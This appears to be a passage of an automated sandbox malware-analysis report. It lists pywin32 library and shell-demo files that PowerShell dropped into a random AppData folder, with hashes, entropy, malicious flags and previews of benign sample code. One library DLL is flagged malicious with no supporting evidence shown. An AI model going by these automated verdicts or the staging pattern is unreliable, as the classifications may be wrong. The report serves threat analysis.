              Preview:MV_FLAG = 4096 # Multi-value flag..PT_UNSPECIFIED = 0.PT_NULL = 1.PT_I2 = 2.PT_LONG = 3.PT_R4 = 4.PT_DOUBLE = 5.PT_CURRENCY = 6.PT_APPTIME = 7.PT_ERROR = 10.PT_BOOLEAN = 11.PT_OBJECT = 13.PT_I8 = 20.PT_STRING8 = 30.PT_UNICODE = 31.PT_SYSTIME = 64.PT_CLSID = 72.PT_BINARY = 258..PT_SHORT = PT_I2.PT_I4 = PT_LONG.PT_FLOAT = PT_R4.PT_R8 = PT_DOUBLE.PT_LONGLONG = PT_I8..PT_MV_I2 = MV_FLAG | PT_I2.PT_MV_LONG = MV_FLAG | PT_LONG.PT_MV_R4 = MV_FLAG | PT_R4.PT_MV_DOUBLE = MV_FLAG | PT_DOUBLE.PT_MV_CURRENCY = MV_FLAG | PT_CURRENCY.PT_MV_APPTIME = MV_FLAG | PT_APPTIME.PT_MV_SYSTIME = MV_FLAG | PT_SYSTIME.PT_MV_STRING8 = MV_FLAG | PT_STRING8.PT_MV_BINARY = MV_FLAG | PT_BINARY.PT_MV_UNICODE = MV_FLAG | PT_UNICODE.PT_MV_CLSID = MV_FLAG | PT_CLSID.PT_MV_I8 = MV_FLAG | PT_I8..PT_MV_SHORT = PT_MV_I2.PT_MV_I4 = PT_MV_LONG.PT_MV_FLOAT = PT_MV_R4.PT_MV_R8 = PT_MV_DOUBLE.PT_MV_LONGLONG = PT_MV_I8..PT_TSTRING = PT_UNICODE # ???.PT_MV_TSTRING = MV_FLAG | PT_UNICODE...PROP_TYPE_MASK = 65535 # Mask for Prope

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\mapiutil.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7276
              Entropy (8bit):4.593130231727299
              Encrypted:false
              SSDEEP:
              MD5:075C7F5E9CB9FC6385C866FC924A4C22
              SHA1:CA536F458253EFF4BCAF1BC859922182051B1BA7
              SHA-256:357D64E7D2347960A41CC1ABC625A7559B537AE78EDFAD74B9C767CF66B88928
              SHA-512:020AD4CBC119ADD7AB61BFEF1BE14162967FD2B1047AA0221BCE900E945612C42D1B44B8291C7E6E36A04398D35E3ABC559C76B9D91A864A41316374C5517DFA
              Malicious:false
              Reputation:unknown
              Preview:# General utilities for MAPI and MAPI objects..# We used to use these old names from the 'types' module....TupleType = tuple.ListType = list.IntType = int.import pythoncom.from pywintypes import TimeType..from . import mapi, mapitags..prTable = {}...def GetPropTagName(pt):. if not prTable:. for name, value in mapitags.__dict__.items():. if name[:3] == "PR_":. # Store both the full ID (including type) and just the ID.. # This is so PR_FOO_A and PR_FOO_W are still differentiated,. # but should we get a PT_FOO with PT_ERROR set, we fallback. # to the ID... # String types should have 3 definitions in mapitags.py. # PR_BODY.= PROP_TAG( PT_TSTRING,.4096). # PR_BODY_W.= PROP_TAG( PT_UNICODE, 4096). # PR_BODY_A.= PROP_TAG( PT_STRING8, 4096). # The following change ensures a lookup using only the the. # property id returns the

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\propsys\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):27
              Entropy (8bit):3.7784235030301256
              Encrypted:false
              SSDEEP:
              MD5:45224049EC07B287039847222E800760
              SHA1:EC8739A7A29F6642BF5BC6DBA2D4036A0180D440
              SHA-256:CC02539C2EAA6067E144A7C9391F3E5B2AE9ECDB293A769EA18D851E71B8A436
              SHA-512:98945673C71CBA233CC3983D53813483626E5B1BE4EC5E297092F76FE2677BEC3E04A1950BA7BFD8C1C9658AD8456E19CC069A3C86F67BB02BCB2A36DB1CE558
              Malicious:false
              Reputation:unknown
              Preview:# this is a python package.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\propsys\propsys.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):115712
              Entropy (8bit):6.8690282004403365
              Encrypted:false
              SSDEEP:
              MD5:6DFB5F1EB67364BB5610B222C6B710E8
              SHA1:96D751A687B74BCE8BE5277A3228D8B3EC72B854
              SHA-256:ABE5965D7662635090B4FA7A5C814B3E68A77659721261102D944C3AB5517A27
              SHA-512:FAE014A53CAD028934CC9172DD8642E00CF2A18B60F552578FD1FE03344F71F266D8693DF704347E3D8D68E0BF0ADB46B1A80CE633022BCB7F66FB03D6A290E3
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W..............=....A......A......A.........................A....................................Rich...................PE..L......d...........!......................................................................@.........................@.......4...........T...........................0q..T...........................`S..@.......................@....................text............................... ..`.rdata..............................@..@.data...............................@....rsrc...T...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\propsys\pscon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):48622
              Entropy (8bit):5.540142077557078
              Encrypted:false
              SSDEEP:
              MD5:1D421DD2742CBEF8E1CCEF15A725B59A
              SHA1:87EEC2599AD35F80AB11A55F1C068944D3FE7BFB
              SHA-256:22CF38BC9BBBB7402D5C9A769C75EDBCD93181503E74506AE340360EF50FD009
              SHA-512:8131DDC13374BC6B4CB9B9BFA65A9A675BDAED5888A44C945856708138EBAE5D2A9C9C0DD2440A145AEEB37F47398E55CAF208367C8BF4DEB2ADFB26472EA7F7
              Malicious:false
              Reputation:unknown
              Preview:# hand generated from propsys.h..## PROPENUMTYPE, used with IPropertyEnumType.PET_DISCRETEVALUE = 0.PET_RANGEDVALUE = 1.PET_DEFAULTVALUE = 2.PET_ENDRANGE = 3..PDTF_DEFAULT = 0.PDTF_MULTIPLEVALUES = 0x1.PDTF_ISINNATE = 0x2.PDTF_ISGROUP = 0x4.PDTF_CANGROUPBY = 0x8.PDTF_CANSTACKBY = 0x10.PDTF_ISTREEPROPERTY = 0x20.PDTF_INCLUDEINFULLTEXTQUERY = 0x40.PDTF_ISVIEWABLE = 0x80.PDTF_ISQUERYABLE = 0x100.PDTF_ISSYSTEMPROPERTY = 0x80000000.PDTF_MASK_ALL = 0x800001FF..PDVF_DEFAULT = 0.PDVF_CENTERALIGN = 0x1.PDVF_RIGHTALIGN = 0x2.PDVF_BEGINNEWGROUP = 0x4.PDVF_FILLAREA = 0x8.PDVF_SORTDESCENDING = 0x10.PDVF_SHOWONLYIFPRESENT = 0x20.PDVF_SHOWBYDEFAULT = 0x40.PDVF_SHOWINPRIMARYLIST = 0x80.PDVF_SHOWINSECONDARYLIST = 0x100.PDVF_HIDELABEL = 0x200.PDVF_HIDDEN = 0x800.PDVF_CANWRAP = 0x1000.PDVF_MASK_ALL = 0x1BFF..PDDT_STRING = 0.PDDT_NUMBER = 1.PDDT_BOOLEAN = 2.PDDT_DATETIME = 3.PDDT_ENUMERATED = 4..PDGR_DISCRETE = 0.PDGR_ALPHANUMERIC = 1.PDGR_SIZE = 2.PDGR_DYNAMIC = 3.PDGR_DATE = 4.PDGR_PERCENT = 5.PDGR_ENUM

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\propsys\test\testpropsys.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):206
              Entropy (8bit):4.512680599938387
              Encrypted:false
              SSDEEP:
              MD5:3D5C530DF089F313087D12ED6DA42A3B
              SHA1:01D3AC9D95F9E4331FF36079331CFB6F17CFD792
              SHA-256:E431EA1C8FD25425C922230BCC5591F274519F77D3E29133864EC8139256FD5B
              SHA-512:006FDC7754E0FCA9A367DEFD90BB5FB420B924DF4F6ECEC760CA0E5461DD1490A3F866F470FEE53F8C77DD7AA11FA9D2A6E2E835AA6075264E0A60D07AEB5DC3
              Malicious:false
              Reputation:unknown
              Preview:from win32com.propsys import propsys, pscon..print("propsys was imported (sorry - that is the extent of the tests,").print("but see the shell folder_view demo, which uses this module)").# that's all folks!.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\IActiveDesktop.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2122
              Entropy (8bit):4.964501903065558
              Encrypted:false
              SSDEEP:
              MD5:430D24F2ABC9FCAFF969FD5A149094B4
              SHA1:04A9949F80250E04AE58B42EF8B2E3E1213261C4
              SHA-256:8D9C4A29DBFCE83EBFD31DAAC23D346FD19271578D02B17B9520FE26E22BC471
              SHA-512:A627C96ACDDD9E01865257CFEF20A124BB919B49FFAE27526821EDD22F76D29DCBB8B8ADAFCF6FF74D9B8E4B28B8EF27D24772895E69F83FDA7275CB469CA172
              Malicious:false
              Reputation:unknown
              Preview:import time..import pythoncom.from win32com.shell import shell, shellcon..website = "https://github.com/mhammond/pywin32/".iad = pythoncom.CoCreateInstance(. shell.CLSID_ActiveDesktop,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IActiveDesktop,.).opts = iad.GetDesktopItemOptions().if not (opts["ActiveDesktop"] and opts["EnableComponents"]):. print("Warning: Enabling Active Desktop"). opts["ActiveDesktop"] = True. opts["EnableComponents"] = True. iad.SetDesktopItemOptions(opts). iad.ApplyChanges(0xFFFF). iad = None. ## apparently takes a short while for it to become active. time.sleep(2). iad = pythoncom.CoCreateInstance(. shell.CLSID_ActiveDesktop,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IActiveDesktop,. )..cnt = iad.GetDesktopItemCount().print("Count:", cnt).for i in range(cnt):. print(iad.GetDesktopItem(i))..component = {. "ID": cnt + 1,. "ComponentType": shellcon.COMP_TYPE_WEBSITE,. "

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\IFileOperationProgressSink.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5153
              Entropy (8bit):4.493888163704418
              Encrypted:false
              SSDEEP:
              MD5:B8F2EA8D679EA86D5FFBFC13C2E7315C
              SHA1:64B8F2FA27152D21EF833139CF22F15125C9A197
              SHA-256:345A7D4623738C33EF0FB4FB153A16BA4FB4B8C7C33E4A828015BC8CD2445FB4
              SHA-512:FC9C4708042CFDC079D27F088CCC29F3887C30574F89DB1EDFFAE602F9CE2B834BB33E47952D792727486D052E77B410EC9058FB4694384F99D7EA20EAC5436F
              Malicious:false
              Reputation:unknown
              Preview:# Sample implementation of IFileOperationProgressSink that just prints.# some basic info..import pythoncom.from win32com.server.policy import DesignatedWrapPolicy.from win32com.shell import shell, shellcon..tsf_flags = list(. (k, v) for k, v in list(shellcon.__dict__.items()) if k.startswith("TSF_").)...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "|" + k. else:. flag_txt = k. return flag_txt...class FileOperationProgressSink(DesignatedWrapPolicy):. _com_interfaces_ = [shell.IID_IFileOperationProgressSink]. _public_methods_ = [. "StartOperations",. "FinishOperations",. "PreRenameItem",. "PostRenameItem",. "PreMoveItem",. "PostMoveItem",. "PreCopyItem",. "PostCopyItem",. "PreDeleteItem",. "PostDeleteItem",. "PreNewItem"

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\IShellLinkDataList.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1917
              Entropy (8bit):5.149600843639279
              Encrypted:false
              SSDEEP:
              MD5:E789F5DADE7F09955A2F0ADD9A4ED147
              SHA1:CFAA354D98D8D97823E831720080E83B41C25D41
              SHA-256:10485012A34EA3BDF42454F0BE557B03A0C957FD3A4B3855DC74FC9673C7C5D8
              SHA-512:2A0415426F41C995E5CDDA7E097ADC20F831917C64D3E6F1F5E425AF6182BA37076E6D0766E203096AE695B7038A26B91BF9AD2A6A348D3D7CA1EA40924719B7
              Malicious:false
              Reputation:unknown
              Preview:import os.import sys..import pythoncom.import win32api.from win32com.shell import shell, shellcon..temp_dir = win32api.GetTempPath().linkname = win32api.GetTempFileName(temp_dir, "cmd")[0].os.remove(linkname).linkname += ".lnk".print("Link name:", linkname).ish = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERVER, shell.IID_IShellLink.).ish.SetPath(os.environ["cOMSPEC"]).ish.SetWorkingDirectory(os.path.split(sys.executable)[0]).ish.SetDescription("shortcut made by python")..console_props = {. "Signature": shellcon.NT_CONSOLE_PROPS_SIG,. "InsertMode": True,. "FullScreen": False, ## True looks like "DOS Mode" from win98!. "FontFamily": 54,. "CursorSize": 75, ## pct of character size. "ScreenBufferSize": (152, 256),. "AutoPosition": False,. "FontSize": (4, 5),. "FaceName": "",. "HistoryBufferSize": 32,. "InputBufferSize": 0,. "QuickEdit": True,. "Font": 0, ## 0 should always be present, use win32console.Get

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\ITransferAdviseSink.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2870
              Entropy (8bit):4.718263766235126
              Encrypted:false
              SSDEEP:
              MD5:43BEB126A494AC8C2DC7690F1ACA9FF8
              SHA1:14F2B9A06E3ACB4DB380DFF93B9C1A42F128D238
              SHA-256:BDF8750F39B827CAD3139D117A7FB331936D3D82BB4D569918A72AE081B17AFB
              SHA-512:4B65BB067F25C504CF974CE055DF843E362267085C18811D523EAEC3FC42237F795C97469FC7FDC29CA4C367F11C093F21745B9674F173D513AC2F7C327BC77E
              Malicious:false
              Reputation:unknown
              Preview:# ITransferAdviseSink implementation template..import pythoncom.from win32com.server.policy import DesignatedWrapPolicy.from win32com.shell import shell, shellcon..tsf_flags = list(. (k, v) for k, v in list(shellcon.__dict__.items()) if k.startswith("TSF_").)...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "|" + k. else:. flag_txt = k. return flag_txt...TRANSFER_ADVISE_STATES = {}.for k, v in list(shellcon.__dict__.items()):. if k.startswith("TS_"):. TRANSFER_ADVISE_STATES[v] = k...def decode_flags(flags):. if flags == 0:. return "TSF_NORMAL". flag_txt = "". for k, v in tsf_flags:. if flags & v:. if flag_txt:. flag_txt = flag_txt + "|" + k. else:. flag_txt = k. return flag_txt...class TransferAdviseSink(DesignatedW

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\IUniformResourceLocator.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1652
              Entropy (8bit):4.966229174278164
              Encrypted:false
              SSDEEP:
              MD5:B62C30C437ABEF50FE0779C496B510E1
              SHA1:16774174E1A2B133AA8F4D872CD38DF7D9A874B2
              SHA-256:72C6B1A79FE131E4947A297867952B00373C8122897C499AE8C9CC32929D314C
              SHA-512:7C06D5B8E4150EE73D6DB641C6D466F1F2DBC08EA38028B66AFF447C3C3D97DF079E9E4D53DED7404CAA1CFF2D035D2344139329C8E333A7728CEFB79E36AB4B
              Malicious:false
              Reputation:unknown
              Preview:import os..import pythoncom.import win32api.from win32com.shell import shell, shellcon...class InternetShortcut:. def __init__(self):. self._base = pythoncom.CoCreateInstance(. shell.CLSID_InternetShortcut,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IUniformResourceLocator,. ).. def load(self, filename):. # Get an IPersist interface. # which allows save/restore of object to/from files. self._base.QueryInterface(pythoncom.IID_IPersistFile).Load(filename).. def save(self, filename):. self._base.QueryInterface(pythoncom.IID_IPersistFile).Save(filename, 1).. def __getattr__(self, name):. if name != "_base":. return getattr(self._base, name)...temp_dir = win32api.GetTempPath().linkname = win32api.GetTempFileName(temp_dir, "ish")[0].print("Link:", linkname).os.remove(linkname).linkname += ".url"..ish = InternetShortcut().ish.SetURL("https://github.com/mhammond/pywin32")

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\browse_for_folder.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1502
              Entropy (8bit):4.753864989752387
              Encrypted:false
              SSDEEP:
              MD5:FC21F7F05AFE0DC055E2D44483DB95B5
              SHA1:18ABBBCB5A6DF731A0743B79C28A7564B3B32275
              SHA-256:45E1A6F22EFC25D4A64EDF4F0995ECF702EE47D39D81F267DDAF2DB83BC886AA
              SHA-512:506C9997292E47408282B35B6299F6112C359429C8207218C1EE327BE7AC75F178D8C21A6D2B5D262FCDF28CCAC40B6646C9E882207F616B8B59E1071C160A32
              Malicious:false
              Reputation:unknown
              Preview:# A couple of samples using SHBrowseForFolder..import os..import win32gui.from win32com.shell import shell, shellcon...# A callback procedure - called by SHBrowseForFolder.def BrowseCallbackProc(hwnd, msg, lp, data):. if msg == shellcon.BFFM_INITIALIZED:. win32gui.SendMessage(hwnd, shellcon.BFFM_SETSELECTION, 1, data). elif msg == shellcon.BFFM_SELCHANGED:. # Set the status text of the. # For this message, 'lp' is the address of the PIDL.. pidl = shell.AddressAsPIDL(lp). try:. path = shell.SHGetPathFromIDList(pidl). win32gui.SendMessage(hwnd, shellcon.BFFM_SETSTATUSTEXT, 0, path). except shell.error:. # No path for this PIDL. pass...if __name__ == "__main__":. # Demonstrate a dialog with the cwd selected as the default - this. # must be done via a callback function.. flags = shellcon.BIF_STATUSTEXT. shell.SHBrowseForFolder(. 0, # parent HWND. None, # root PIDL..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\create_link.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2336
              Entropy (8bit):4.515110795958441
              Encrypted:false
              SSDEEP:
              MD5:BFA30B4C6A14C8E48D8073FEC282CADB
              SHA1:B352384CE0DFFC8386692D6F1D0C4DB11ACD7559
              SHA-256:013CAA4F59D92FF001B6A7DADBF13C025B49E27800E3F07C81505550F162C71B
              SHA-512:D097453E1A8DF523D6B8D3C448C8A52171CD8C44062B3BE22F43521F0F0028ADA32F2FFFD64FA03694ED3B08D9D692AC17F7A025FD3F43781C4A79148F94E5E2
              Malicious:false
              Reputation:unknown
              Preview:# link.py.# From a demo by Mark Hammond, corrupted by Mike Fletcher.# (and re-corrupted by Mark Hammond :-).import os..import pythoncom.from win32com.shell import shell...class PyShortcut:. def __init__(self):. self._base = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IShellLink,. ).. def load(self, filename):. # Get an IPersist interface. # which allows save/restore of object to/from files. self._base.QueryInterface(pythoncom.IID_IPersistFile).Load(filename).. def save(self, filename):. self._base.QueryInterface(pythoncom.IID_IPersistFile).Save(filename, 0).. def __getattr__(self, name):. if name != "_base":. return getattr(self._base, name)...if __name__ == "__main__":. import sys.. if len(sys.argv) < 2:. print(. "Usage: %s LinkFile [path [, args[, description[, working_dir]]]]\n\nIf LinkF

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\dump_link.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1688
              Entropy (8bit):4.793028770522822
              Encrypted:false
              SSDEEP:
              MD5:C9D27A3E3BD79CEFD461DFEDE9B7A4B3
              SHA1:4E1CCC49E93BA04F4655FC0FA5C2A8C89B6D8E52
              SHA-256:60AF94B8D6E812A38AAFBB620CD5BC59C7005128E7E6B5A5E4EB2652AB532EB8
              SHA-512:47D3C1AF0DFC9846E242592E41729A6D95664157DED107852B57394286F6A0B3BFE21AFB696D2958545B3E0B32FA0F1D4D7783856B42FDB3CE97FF4E255D8919
              Malicious:false
              Reputation:unknown
              Preview:# dump_link.py - dumps information about shell shortcuts.#.import glob.import os.import sys..import pythoncom.from win32com.shell import shell, shellcon.from win32com.storagecon import *...def DumpLink(fname):. shellLink = pythoncom.CoCreateInstance(. shell.CLSID_ShellLink,. None,. pythoncom.CLSCTX_INPROC_SERVER,. shell.IID_IShellLink,. ). persistFile = shellLink.QueryInterface(pythoncom.IID_IPersistFile). persistFile.Load(fname, STGM_READ). shellLink.Resolve(0, shell.SLR_ANY_MATCH | shell.SLR_NO_UI). fname, findData = shellLink.GetPath(0). print("Filename:", fname, ", UNC=", shellLink.GetPath(shell.SLGP_UNCPRIORITY)[0]). print("Description:", shellLink.GetDescription()). print("Working Directory:", shellLink.GetWorkingDirectory()). print("Icon:", shellLink.GetIconLocation())...def FavDumper(nothing, path, names):. # called by os.path.walk. for name in names:. print(name, end=" "). try:. DumpLink(n

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\explorer_browser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4956
              Entropy (8bit):4.742030097814967
              Encrypted:false
              SSDEEP:
              MD5:A67FC9C637F34AE4FD7BBC3BF56BF1AA
              SHA1:EA814518E366440B782F568FF609DCE47CBDDF74
              SHA-256:67D2B811101F7034AB03558B7502EA50D0D66AF60EE69924BD3FB46873107F31
              SHA-512:76357461D0B5033DA1995BA7A35DBE26EA10105668DFBC0F4226182CCCD419F3E5EF278DE88F2F19F52953871C0077E4CC213BAE1C3FCB65F044A3078AD64A5D
              Malicious:false
              Reputation:unknown
              Preview:# A sample of using Vista's IExplorerBrowser interfaces....# Currently doesn't quite work:.# * CPU sits at 100% while running...import sys..import pythoncom.import win32api.import win32con.import win32gui.from win32com.server.util import unwrap, wrap.from win32com.shell import shell, shellcon..# event handler for the browser..IExplorerBrowserEvents_Methods = """OnNavigationComplete OnNavigationFailed . OnNavigationPending OnViewCreated""".split()...class EventHandler:. _com_interfaces_ = [shell.IID_IExplorerBrowserEvents]. _public_methods_ = IExplorerBrowserEvents_Methods.. def OnNavigationComplete(self, pidl):. print("OnNavComplete", pidl).. def OnNavigationFailed(self, pidl):. print("OnNavigationFailed", pidl).. def OnNavigationPending(self, pidl):. print("OnNavigationPending", pidl).. def OnViewCreated(self, view):. print("OnViewCreated", view). # And if our demo view has been registered, it may

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\servers\column_provider.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3743
              Entropy (8bit):4.695336004293959
              Encrypted:false
              SSDEEP:
              MD5:6C4997A0590505D6B9D4E11BE2B0428E
              SHA1:822B2683FB86331F198B5F917F04CDC68757855D
              SHA-256:7BCDA7BCC2B8D503E260DAD199E8202CA143E214C22F70B31AEE1A7ECA3E8C66
              SHA-512:1CBC4EA469C883776B5A6EC9DFCC9919E617695F1F7D0984ECA89D631DB46075EA2BBF50F3D69B9704381839A778D78FBDBF691908B51A48751673D19DFEF43B
              Malicious:false
              Reputation:unknown
              Preview:# A sample shell column provider.# Mainly ported from MSDN article:.# Using Shell Column Handlers for Detailed File Information,.# Raymond Chen, Microsoft Corporation, February 2000.#.# To demostrate:.# * Execute this script to register the namespace..# * Open Windows Explorer.# * Right-click an explorer column header - select "More".# * Locate column 'pyc size' or 'pyo size', and add it to the view..# This handler is providing that column data..import os.import stat..import commctrl.import pythoncom.from pywintypes import IID.from win32com.server.util import wrap.from win32com.shell import shell, shellcon..IPersist_Methods = ["GetClassID"].IColumnProvider_Methods = IPersist_Methods + [. "Initialize",. "GetColumnInfo",. "GetItemData",.]...class ColumnProvider:. _reg_progid_ = "Python.ShellExtension.ColumnProvider". _reg_desc_ = "Python Sample Shell Extension (Column Provider)". _reg_clsid_ = IID("{0F14101A-E05E-4070-BD54-83DFA58C3D68}"). _com_interfaces_ = [.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\servers\context_menu.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4413
              Entropy (8bit):4.8718027906296015
              Encrypted:false
              SSDEEP:
              MD5:962A1AFF29A3354202644492184916B0
              SHA1:ACA9DA847DA3807B3014235F5EA2194EBB0E3882
              SHA-256:95AB64B6F7FE56B6FEBC1390E0436DF2373FE302727D167D281065D806A3D01C
              SHA-512:062FA321E95B29807D347EE23E77259032F45C3384D06DB2874DFF6C9D1D57D61C198841F5180070840D095538927FE20CB1BB1163520C68804E12C59CB823F4
              Malicious:false
              Reputation:unknown
              Preview:# A sample context menu handler..# Adds a 'Hello from Python' menu entry to .py files. When clicked, a.# simple message box is displayed..#.# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer, and browse to a directory with a .py file..# * Right-Click on a .py file - locate and click on 'Hello from Python' on.# the context menu...import pythoncom.import win32con.import win32gui.from win32com.shell import shell, shellcon...class ShellExtension:. _reg_progid_ = "Python.ShellExtension.ContextMenu". _reg_desc_ = "Python Sample Shell Extension (context menu)". _reg_clsid_ = "{CED0336C-C9EE-4a7f-8D7F-C660393C381F}". _com_interfaces_ = [shell.IID_IShellExtInit, shell.IID_IContextMenu]. _public_methods_ = shellcon.IContextMenu_Methods + shellcon.IShellExtInit_Methods.. def Initialize(self, folder, dataobj, hkey):. print("Init", folder, dataobj, hkey). self.dataobj = dataobj.. def QueryContextMenu(self, hMenu, in

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\servers\copy_hook.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2691
              Entropy (8bit):4.918411583843704
              Encrypted:false
              SSDEEP:
              MD5:B0A82BD7CB7AA7A81C22B39572AD0869
              SHA1:CC2828A142C1AAA9B0F890F2F5F37012DF286211
              SHA-256:9A5170C42EE29B2FFBD39D529E2E1CFA22E7A5DCF4A238AB454542F905E6F2BE
              SHA-512:54D423A51AB78C8547C9C022A0DE941C9278F3BF8395AFCAD81E2461E1B6191D9C42157203A139D71C1206E5B5EA664C1D61E0082293082D54D2F0B4782A48EC
              Malicious:false
              Reputation:unknown
              Preview:# A sample shell copy hook...# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer.# * Attempt to move or copy a directory..# * Note our hook's dialog is displayed...import pythoncom.import win32con.import win32gui.from win32com.shell import shell, shellcon...# Our shell extension..class ShellExtension:. _reg_progid_ = "Python.ShellExtension.CopyHook". _reg_desc_ = "Python Sample Shell Extension (copy hook)". _reg_clsid_ = "{1845b6ba-2bbd-4197-b930-46d8651497c1}". _com_interfaces_ = [shell.IID_ICopyHook]. _public_methods_ = ["CopyCallBack"].. def CopyCallBack(self, hwnd, func, flags, srcName, srcAttr, destName, destAttr):. # This function should return:. # IDYES Allows the operation.. # IDNO Prevents the operation on this folder but continues with any other operations that have been approved (for example, a batch copy operation).. # IDCANCEL Prevents the current operation and cancels any pending op

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\servers\empty_volume_cache.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):7623
              Entropy (8bit):4.620295981351384
              Encrypted:false
              SSDEEP:
              MD5:99C937BF8A9C575A44A8E1C958996FB8
              SHA1:198BEF472D43D41BF806EAD6C36E7D972612A86D
              SHA-256:47BAA5C72278AE161532D3F9D0EF7B41F1878E705BA366FA76B8751C0CAF4401
              SHA-512:2FFE7892CFA233C5CC63073B7EC466718C115826220C5A86729685FE0E852517AC1DD1A374F49915CD864BE2CFFCC62F48537118D92905D3F0E9AF7BD9814938
              Malicious:false
              Reputation:unknown
              Preview:# A sample implementation of IEmptyVolumeCache - see.# http://msdn2.microsoft.com/en-us/library/aa969271.aspx for an overview..#.# * Execute this script to register the handler.# * Start the "disk cleanup" tool - look for "pywin32 compiled files".import os.import stat.import sys..import pythoncom.import win32gui.import winerror.from win32com.server.exception import COMException.from win32com.shell import shell, shellcon..# Our shell extension..IEmptyVolumeCache_Methods = (. "Initialize GetSpaceUsed Purge ShowProperties Deactivate".split().).IEmptyVolumeCache2_Methods = "InitializeEx".split()..ico = os.path.join(sys.prefix, "py.ico").if not os.path.isfile(ico):. ico = os.path.join(sys.prefix, "PC", "py.ico").if not os.path.isfile(ico):. ico = None. print("Can't find python.ico - no icon will be installed")...class EmptyVolumeCache:. _reg_progid_ = "Python.ShellExtension.EmptyVolumeCache". _reg_desc_ = "Python Sample Shell Extension (disk cleanup)". _reg_clsid_ = "{E

